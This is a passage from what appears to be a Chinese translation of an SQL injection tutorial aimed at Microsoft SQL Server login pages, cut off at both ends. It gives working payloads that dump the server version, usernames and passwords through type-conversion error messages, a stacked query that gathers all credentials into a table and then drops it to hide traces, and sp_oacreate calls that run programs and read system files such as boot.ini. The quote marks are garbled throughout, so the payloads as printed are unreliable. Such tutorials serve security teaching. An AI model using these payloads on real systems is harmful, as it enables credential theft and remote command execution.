ffff)— 这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息: select * from master ..sysmessages 解释这些将实现有趣的消息。
一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息: Username:'''' union select @@version,1,1,1— Microsoft OLE DB Provider for ODBC Drivers error ''''80040e07''''
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ''''Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) '''' to a column of data type int. /process_login.asp, line 35 这句尝试去将内置的''''@@version''''常量转化成一个整型数字,因为users表中的第一列是整型数字。
这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如: Username:'''' union select min(username),1,1,1 from users where username>''''a''''— 这句选择users表中username大于''''a''''中的最小值,并试图把它转化成一个整型数字: Microsoft OLE DB Provider for ODBC Drivers error ''''80040e07''''
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ''''admin'''' to a column of data type int. /process_login.asp, line 35 因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。 Username:'''' union select min(username),1,1,1 from users where username>''''admin''''— Microsoft OLE DB Provider for ODBC Drivers error ''''80040e07''''
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ''''chris'''' to a column of data type int. /process_login.asp, line 35 一旦攻击者确定了用户名,他就可以开始收集密码: Username:'''' union select password,1,1,1 from users where username=''''admin''''— Microsoft OLE DB Provider for ODBC Drivers error ''''80040e07''''
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ''''r00tr0x!'''' to a column of data type int. /process_login.asp, line 35
一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来: begin declare @ret varchar(8000) set @ret='''':'''' select @ret=@ret+'''' ''''+username+''''/''''+password from users where username>@ret select @ret as ret into foo end 攻击者使用这个当作用户名登陆(都在一行) Username: ''''''''; begin declare @ret varchar(8000) set @ret='''''''':'''''''' select @ret=@ret+'''''''' ''''''''+username+''''''''/''''''''+password from users where username>@ret select @ret as ret into foo end— 这就创建了一个foo表,里面只有一个单独的列''''''''ret'''''''',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。 然后攻击者就可以取得我们要得到的字符串: Username:'''''''' union select ret,1,1,1 from foo— Microsoft OLE DB Provider for ODBC Drivers error ''''''''80040e07''''''''
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '''''''': admin/r00tr0x! guest/guest chris/password fred/sesame'''''''' to a column of data type int. /process_login.asp, line 35 然后丢弃(删除)表来清楚脚印: Username:''''''''; drop table foo— 这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。
[ActiveX automation scripts in SQL SERVER] SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:
(1)这个例子使用''''''''wscript.shell''''''''对象建立了一个记事本的实例: wscript.shell example declare @o int exec sp_oacreate ''''''''wscript.shell'''''''',@o out exec sp_oamethod @o,''''''''run'''''''',NULL,''''''''notepad.exe'''''''' 我们可以通过指定在用户名后面来执行它: Username:''''''''; declare @o int exec sp_oacreate ''''''''wscript.shell'''''''',@o out exec sp_oamethod @o,''''''''run'''''''',NULL,''''''''notepad.exe''''''''—
(2)这个例子使用''''''''scripting.filesystemobject''''''''对象读一个已知的文本文件: --scripting.filesystemobject example – read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate ''''''''scripting.filesystemobject'''''''', @o out exec sp_oamethod @o, ''''''''opentextfile'''''''', @f out, ''''''''c:\boot.ini'''''''', 1 exec @ret=sp_oamethod @f,''''''''readline'''''''',@line out while(@ret=0) begin print @line exec @ret=s